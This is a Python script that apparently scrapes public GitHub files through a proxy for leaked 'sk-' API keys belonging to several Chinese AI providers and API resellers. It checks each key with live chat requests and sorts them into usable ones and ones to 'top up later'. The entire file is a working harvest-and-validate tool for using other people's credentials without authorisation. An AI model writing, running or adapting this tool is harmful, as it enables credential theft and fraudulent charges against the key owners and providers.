239 lines
9.0 KiB
Python
239 lines
9.0 KiB
Python
#!/usr/bin/env python3
|
|
"""Full harvest + verify for the 2026-08-03 CN coding-plan batch.
|
|
|
|
Bypasses the tight ±100-char context gate in hunt_all_deep by pulling EVERY
|
|
sk- credential from each provider's candidate files (the search queries
|
|
themselves provide provider context). Then verifies with the corrected
|
|
classifier and per-provider model lists.
|
|
|
|
Providers:
|
|
360zhinao, tencent_lkeap, iflytek_maas (smart /models), sensenova,
|
|
tencent_hunyuan, dmxapi, closeai, api2d, aihubmix
|
|
"""
|
|
import json, os, re, sys, time, urllib.request, urllib.error
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from pathlib import Path
|
|
|
|
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
|
from content_cache import ContentCache
|
|
from verify_cache import CachedVerifier
|
|
import providers_all_deep as P
|
|
import hunt_all_deep as H
|
|
|
|
HERE = Path(__file__).resolve().parent
|
|
CAND = HERE / "results/all_deep/candidates.tsv"
|
|
OUT = HERE / "results/cn_batch2_full"
|
|
OUT.mkdir(parents=True, exist_ok=True)
|
|
|
|
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
|
OPENER = (urllib.request.build_opener(
|
|
urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}))
|
|
if GH_PROXY else urllib.request.build_opener())
|
|
DIRECT = urllib.request.build_opener()
|
|
UA = "Mozilla/5.0"
|
|
|
|
PROVIDERS = ["360zhinao", "tencent_lkeap", "iflytek_maas", "sensenova",
|
|
"tencent_hunyuan", "dmxapi", "closeai", "api2d", "aihubmix"]
|
|
|
|
SK_RE = re.compile(r"sk-[A-Za-z0-9]{32,80}")
|
|
FAKES = ("xxxx", "your-", "example", "placeholder", "changeme",
|
|
"sk-0000", "sk-test", "demo", "sample", "aaaaaaaa",
|
|
"sk-proj-", "sk-ant-", "sk-or-", "sk-cp-", "sk-sp-",
|
|
"sk-tp-", "sk-cx-", "sk-xt-", "sk-zy-", "gsk_")
|
|
|
|
|
|
def fetch_raw_cached(repo, path, url, cc):
|
|
m = re.search(r"/blob/([0-9a-f]{40})/", url)
|
|
sha = m.group(1) if m else ""
|
|
if sha:
|
|
hit = cc.get(repo.lower(), path, sha)
|
|
if hit is not None:
|
|
return hit
|
|
txt = ""
|
|
for ref in ("HEAD", "main", "master"):
|
|
u = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}"
|
|
req = urllib.request.Request(u, headers={"User-Agent": UA})
|
|
try:
|
|
with OPENER.open(req, timeout=20) as r:
|
|
txt = r.read().decode("utf-8", "replace")
|
|
break
|
|
except urllib.error.HTTPError as e:
|
|
if e.code == 404:
|
|
continue
|
|
break
|
|
except Exception:
|
|
continue
|
|
if txt and sha:
|
|
cc.put(repo.lower(), path, sha, txt)
|
|
return txt
|
|
|
|
|
|
def harvest_provider(prov, files, cc):
|
|
"""Pull all sk- keys from a provider's candidate files."""
|
|
keys = {}
|
|
def fetch_one(item):
|
|
repo, path, url = item
|
|
try:
|
|
txt = fetch_raw_cached(repo, path, url, cc)
|
|
except Exception:
|
|
txt = ""
|
|
found = set()
|
|
for m in SK_RE.finditer(txt or ""):
|
|
k = m.group(0)
|
|
kl = k.lower()
|
|
if any(f in kl for f in FAKES):
|
|
continue
|
|
# skip obvious other-provider keys by prefix
|
|
if any(k.startswith(p) for p in ("sk-ant-", "sk-or-", "sk-cp-",
|
|
"sk-sp-", "sk-tp-", "sk-cx-",
|
|
"sk-xt-", "sk-zy-", "sk-proj-")):
|
|
continue
|
|
found.add(k)
|
|
return url, found
|
|
with ThreadPoolExecutor(max_workers=48) as ex:
|
|
for url, found in ex.map(fetch_one, files):
|
|
for k in found:
|
|
keys.setdefault(k, url)
|
|
return keys
|
|
|
|
|
|
def smart_iflytek_verify(key):
|
|
"""iFlytek MaaS: query /models per key, then try each granted model."""
|
|
base = "https://maas-api.cn-huabei-1.xf-yun.com/v1"
|
|
def http(method, path, body=None):
|
|
headers = {"Authorization": f"Bearer {key}", "Accept": "application/json"}
|
|
data = None
|
|
if body is not None:
|
|
data = json.dumps(body).encode()
|
|
headers["Content-Type"] = "application/json"
|
|
req = urllib.request.Request(base + path, data=data, headers=headers,
|
|
method=method)
|
|
try:
|
|
with DIRECT.open(req, timeout=20) as r:
|
|
return r.getcode(), r.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
return e.code, e.read().decode("utf-8", "replace")
|
|
except Exception:
|
|
return e.code, ""
|
|
except Exception as e:
|
|
return 0, f"net:{type(e).__name__}"
|
|
code, body = http("GET", "/models")
|
|
if code == 401:
|
|
return "DEAD", f"401 {body[:140]}"
|
|
models = []
|
|
if code == 200:
|
|
try:
|
|
data = json.loads(body)
|
|
models = [m.get("id") for m in data.get("data", []) if m.get("id")]
|
|
except Exception:
|
|
pass
|
|
if not models:
|
|
models = ["xop3qwen1b7", "xop3qwen14b", "xop3qwen30b",
|
|
"xqwen257bchat", "xdeepseekv3", "xopdeepseekv32",
|
|
"xop3qwen235b2507", "xopglm5", "xopkimik26",
|
|
"xsparkx2flash", "generalv3.5", "4.0Ultra"]
|
|
last = "no model"
|
|
for model in models[:15]:
|
|
cc, cb = http("POST", "/chat/completions", {
|
|
"model": model,
|
|
"messages": [{"role": "user", "content": "reply ok"}],
|
|
"max_tokens": 8, "temperature": 0.01,
|
|
})
|
|
bl = (cb or "").lower()
|
|
if cc == 200 and '"choices"' in bl:
|
|
try:
|
|
j = json.loads(cb)
|
|
content = (j["choices"][0].get("message", {}).get("content")
|
|
or "")[:50]
|
|
except Exception:
|
|
content = ""
|
|
return "USABLE", f"{model} 200 {content}"
|
|
if cc == 401:
|
|
return "DEAD", f"{model} 401 {cb[:140]}"
|
|
if cc in (402, 429):
|
|
return "NO_BALANCE", f"{model} {cc} {cb[:140]}"
|
|
last = f"{model} {cc}: {cb[:120]}"
|
|
return "NO_ACCESS", last
|
|
|
|
|
|
def main():
|
|
# build specs from registry for model lists
|
|
specs = P.build(H.openai_verify)
|
|
for s in specs.values():
|
|
s["patterns"] = [re.compile(p) for p in s["patterns"]]
|
|
|
|
# gather candidate files per provider
|
|
files_by_prov = {p: [] for p in PROVIDERS}
|
|
for ln in CAND.read_text(errors="replace").splitlines():
|
|
parts = ln.split("\t")
|
|
if len(parts) >= 4 and parts[0] in files_by_prov:
|
|
files_by_prov[parts[0]].append((parts[1], parts[2], parts[3]))
|
|
|
|
cc = ContentCache()
|
|
all_keys = {} # (prov, key) -> source
|
|
for prov, files in files_by_prov.items():
|
|
if not files:
|
|
continue
|
|
print(f"[{prov}] harvesting {len(files)} files...", flush=True)
|
|
keys = harvest_provider(prov, files, cc)
|
|
for k, src in keys.items():
|
|
all_keys.setdefault((prov, k), src)
|
|
print(f" -> {len(keys)} unique sk- keys", flush=True)
|
|
cc.save()
|
|
|
|
by_prov = {}
|
|
for (prov, k), src in all_keys.items():
|
|
by_prov.setdefault(prov, {})[k] = src
|
|
|
|
total = sum(len(d) for d in by_prov.values())
|
|
print(f"\nTotal candidate keys to verify: {total}\n", flush=True)
|
|
|
|
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [],
|
|
"UNKNOWN": [], "DEAD": []}
|
|
for prov, d in by_prov.items():
|
|
if not d:
|
|
continue
|
|
print(f"=== verifying {prov}: {len(d)} keys ===", flush=True)
|
|
if prov == "iflytek_maas":
|
|
verify_fn = smart_iflytek_verify
|
|
cache_name = "iflytek_maas_full"
|
|
else:
|
|
verify_fn = specs[prov]["verify"]
|
|
cache_name = f"full_{prov}"
|
|
with CachedVerifier(cache_name, verify_fn, force=True) as ver:
|
|
with ThreadPoolExecutor(max_workers=24) as pool:
|
|
futs = {pool.submit(ver, k): (k, s) for k, s in d.items()}
|
|
done = 0
|
|
for f in as_completed(futs):
|
|
k, s = futs[f]; done += 1
|
|
try:
|
|
v, detail = f.result()
|
|
except Exception as e:
|
|
v, detail = "UNKNOWN", f"exc:{e}"
|
|
buckets[v].append((prov, k, s, detail))
|
|
if done % 50 == 0:
|
|
print(f" {prov} {done}/{len(d)} "
|
|
f"usable={len(buckets['USABLE'])} "
|
|
f"dead={len(buckets['DEAD'])} "
|
|
f"nobal={len(buckets['NO_BALANCE'])}",
|
|
flush=True)
|
|
|
|
for label, rows in buckets.items():
|
|
with (OUT / f"{label.lower()}.txt").open("w") as f:
|
|
for prov, k, s, d in rows:
|
|
f.write(f"{prov}\t{k}\t{s}\t{d}\n")
|
|
print("\n=== FULL CN BATCH RESULTS ===")
|
|
for label in buckets:
|
|
print(f" {label:11s}: {len(buckets[label])}")
|
|
print("\n--- USABLE ---")
|
|
for prov, k, s, d in buckets["USABLE"]:
|
|
print(f" ✅ [{prov}] {k}\n {s}\n {d[:140]}")
|
|
print("\n--- NO_BALANCE (real keys, top up later) ---")
|
|
for prov, k, s, d in buckets["NO_BALANCE"][:30]:
|
|
print(f" 💰 [{prov}] {k[:50]}... {d[:80]}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|